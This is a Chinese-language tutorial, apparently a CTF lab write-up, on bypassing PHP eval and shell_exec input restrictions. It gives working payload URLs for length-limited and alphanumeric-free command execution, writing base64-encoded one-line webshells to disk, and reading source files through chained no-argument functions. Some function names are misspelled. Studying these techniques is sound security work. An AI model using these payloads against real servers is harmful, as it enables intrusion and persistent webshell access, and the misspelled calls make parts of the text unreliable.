目录
RCE的一些奇技淫巧
EVAL长度限制突破方法
例一
<?php
$param = $_REQUEST['param'];
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) {
eval($param);
}
先来解读一下这段代码,先传递一个param一个这个参数,
然后进行判断让param这个参数的长度不能超过17位并且这个参数里面不能包含’eval’和’assert’,如果满足eval执行。
先使用小皮面板,拿到手里发现传递参数时只能执行一些想database()、phpinfo()这一类的参数,无从下手了
然后我就是想着拿?param=$_POST[1];传递这个参数进去
失败了,发现传递的值是NULL。
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?
方法一
然后我将这个场景放在linux下去,因为我想到了``在linux下``是可以执行命令的,例如`id`
192.168.209.129/web1.php?param=`$_GET[1]`;&1=id
好了我们就写了其中param这个参数只是`$_GET[1]`它,而且&1=id这个并不占用字符可以随便写
然后我们发现并没有输出,这个原因是因为param是由eval执行的需要有一个输出echo
192.168.209.129/web1.php?param=echo`$_GET[1]`;&1=id
192.168.209.129/web1.php?param=echo`$_GET[1]`;&1=whoami
所以代码执行转换成为了命令执行
相似答案:exec($_GET[1]);
方法二
web1.php?1=file_put_contents¶m=$_GET[1](N,P,8);
web1.php?1=file_put_contents¶m=$_GET[1](N,D,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
......
web1.php?1=file_put_contents¶m=$_GET[1](N,w,8);
我们发现file_put_contents这个明显就是传送文件的参数是;
本来应该用FILE_APPEND的这个是追加的意思,但是有长度限制已经大于了17了。因为php的底层函数c语言的追加是8。
第一个N是文件,第二个参数传递的就是文件的内容,第三个这个8代表追加。
注意哈追加的值要转成base64,因为有些特殊字符在linux环境下无法识别。
foo.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
先用base64-decode把这个base64转成正常的语句,然后用文件包含直接执行,
Include的含义也就是把任何一切文件当成php文件,自然就会将N这个文件当成php代码。
方法三
web1.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行;
首先抓包
$_Get所有的参数会放到usort里面去,三个值
1是一个数组,2是回调函数,它会将来数组里面的值往回调函数里面去放。
注意:要用5.6的版本,因为php7.3这个assert被废弃了。
例二
命令长度限制突破技巧
现在改为7个字符
<?php
$param = $_REQUEST['param'];
If ( strlen($param) < 8 )
{
echo shell_exec($param);
}
用到``直接执行linux函数的方法看看:
明显超过这次规定的7个字符的位数了,得改方法了
所以我们看一下源代码
发现了shell_exe
所以我们直接写一个id
192.168.209.129/web2.php?param=id;
发现它不用加单引号就直接显示出来了
我们在试试其他的
就只能跟7位,所以就只能显示一些常规的命令,但是我们想写一些shell,得另想办法了
可以使用如何去写入的方式去写入
现在就考虑使用哪一个命令去写入
于是就找到了因为命令w,这个w是登入的一个命令
重定向它
这个方式可以但是我们可以使用通过文件名的方法
>a
就占两个字符,我们写入的文件名,然后我们要想一种办法把文件名排列组合然后再使用拼接的方式重新排列好然后写入其他文件中去,然后再使用sh去执行这个文件。
排序的方法我想到了可以使用时间排序的方法,ls -t 以创建时间来列出当前目录下所有文件,文件列表以[换行符]分割每个文件,引入 `\` 转义ls时的换行,换行不影响命令执行
然后我就排序出来了这样一个结果
也就是这个:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
最后我们把它通过base64的形式把它追加进0里面去,ls -t>0
进去后面自己直接使用sh 0执行就可以了,页面中会多出一个c.php。
无字母数字webshell之命令执行
例一
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
分析题目:首先限制的长度不能超过35,其次不能使用大小写字母、数字、_和$
思路:取反(反码)
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。
在php7下,这个方法就可以实现这个题目的要求
192.168.209.129/web.php?code=(~%8F%97%8F%96%91%99%90)();
那么php5下怎么办呢?
那么我们就使用创建一个html文件,做一个上传把桌面的一个文件上传到这个文件目录下,我们要的数这个目录生成的临时文件。
但是有一个问题,因为post过去后,没接上传的文件,那么当前目录很快就会把那个临时文件删掉,而且我们根本不知道那个临时文件是什么名字,因为它是一个随机字符
所以我考虑用sleep(30)让文件多缓存一段时间,
也可以直接把临时文件打印出来
然后我发现这个命令可以执行
那么这下就有思路了,如果这个命令可以执行一句话木马就可以了,但是新的难点也出来了,就是一句话木马匹配不到,因为题目要求不能使用大小写字母、数字、_和$,还有执行怎么去执行。
然后又就想到了. 可以用来执行文件的
. 1.txt
执行问题解决了,那么就剩下如何去匹配我们想要的临时文件了
先使用ls -al /???/?????????去匹配
结果发现匹配的条目太多,找不到想要的条目。
好了,最后我在网上看了一些文章发现我生成的那个临时文件最后一个字母居然是大写
而且我发现就我们想要的那个临时文件才是大写。
注意:这个大写的可行性就只有50%,如果看见你的我文件不是大写,那么就再生成一次。
只要匹配打大写那么我们就可以找到我们想要的
那么linux有没有什么规范能去匹配大写字母呢?
我查阅资料发现了glob通配符
这样我们就定位到了临时文件的目录,这里的[@-[]就是@-[也就是ascii码,这个之间的数,去看了发现这之间的就是大写的字母
下面我们要用到抓包工具了
先去访问一下web.php
这是一个get传参,然后参数全拿到redeater那里去
然后进行提交,将参数拿到
我们要这个提交的参数
因为code最后会传到eval中去,eval需要写代码去匹配到它并且去执行
关于eval函数的官方文档
code=?><?=.+/???/????????[@-[];?>
记住了哈这个是get传参,get传参需要遵循url编码
我们把这个传进去是执行不了的,因为这个只是执行php命令并不是linux代码
所以就想到了之前那个题目使用``来执行linux命令,我们将代码执行变为了命令执行
code=?><?=`.+/???/????????[@-[]`;?>
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>
这里的get和post它们是并行的,会同步进行。首先下面那个上传的文件会继续post提交,提交到web.php时,虽然不一定会接收但是一定会在临时目录下生成一个php临时文件,然后这个get参数接受到code这个参数接受完这个后就开始走程序,然后走到eval里面去了,然后就是走的是``里面的数据。
会不会有人疑惑%3f这些难道不是数字和字母嘛?为什么可以执行呢?
因为它会自动转码的,当浏览器访问的一瞬间是没进入到程序里面去的,然后浏览器自动url-deco的解码的。然后再进入程序里面去的。
例二
如果把题目改成这样
在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。
<?php
$param = $_REQUEST['param'];
If ( strlen($param) < 8 )
{
echo shell_exec($param);
}
那么我们就直接使用
. /t*/*就可以去匹配了
修改一下1.html
接下来也去使用抓包工具
跟上面一样就是抓包
先用1.html传递1.txt文件然后抓到拿到以下参数
在抓web3.php这个文件拿到这个包然后把GET改为POST然后再把参数写进去
param=.+/t*/*我和这个想法刚刚好7位
例三
<?php
highlight_file(__FILE__);
if(';' === preg_replace( '/[^\W]+\((?R)?\)/','',$_GET['code'])) {
eval($_GET['code']);
}
?>
[^\W]+\((?R)?\)
\W是能够匹配特殊符号
[^\W]是排除了特殊符号能够匹配英文数字和下划线
\()\这个意思是外面必须有一个括号包着的
(?R)?这个意思是递归的子模式,它尝试去匹配与整个正则表达式相同的内容
所以这个匹配匹配的是类似于abs(def(dsada(dassdasd())))
这道题明显与上面的那一道题相反,只让我们用数字大小写
后面我们创建一个flag.php文件
然后我们就想到了使用file_get_content()这个函数去读取,但是始终我们要在这个函数里面写上参数所以根本就读不了,因为题目要求只能嵌套函数里面怎么都必须有个空的括号。
然后我就想到了用getallheaders()这个函数,但是他是apache使用的函数
然后我们把Nginx关掉,启动apache
然后再www/html目录下重新创建文件web3.php
可以用next(getalheaders())绕过这个限制,无非就是目录一位一位的去拿到,每次刷新就可以了。
192.168.209.129/web3.php/code=file_get_contents(next(getalheaders()));
然后发现什么也没有
咋办呢?通过查询资料我发现了
可以先使用
Code=print_r(scandir(getcwd()));
可以去看见你的这个文件下面有什么目录,都去读一下
说要我们使用scandir(.);扫描一下当前目录的文件
但是这个.我们拿不到
我们使用localconv()
然后我们发现第一项就是.
然后我们使用current()这个函数就可以拿到第一项的数据
Scandir(current(localconv()));
就获取到了当前目录下的文件
或者使用chr(rand())来代替(current(localconv()),就是随机数,但是要不断的刷新
或者使用chr(localtime(time()))来代替(current(localconv())
因为chr(‘46’)就是.
现在呢我们弄出来当前的目录了
现在我们就进行抓包
code=print_r(end(getalheaders()))
也可以将end()替换成next(),但是多next()不能连续使用只能用一个,那么我们该怎么办呢?
我们可以将使用array_reverse()函数,就是将文件夹倒过来读取,那么就可以读到前两和后两个的文件名
万一我们要拿的函数不是在哪些地方的呢?
然后我们就使用array_rand(array_flip())这个函数
然后再使用show_source()这个函数去展示我们要的那个文件再读出来
然后再去浏览器上面去输出
192.168.209.129/web4.php?code=show_source(array_rand(array_filp(scandir(getcwd()))));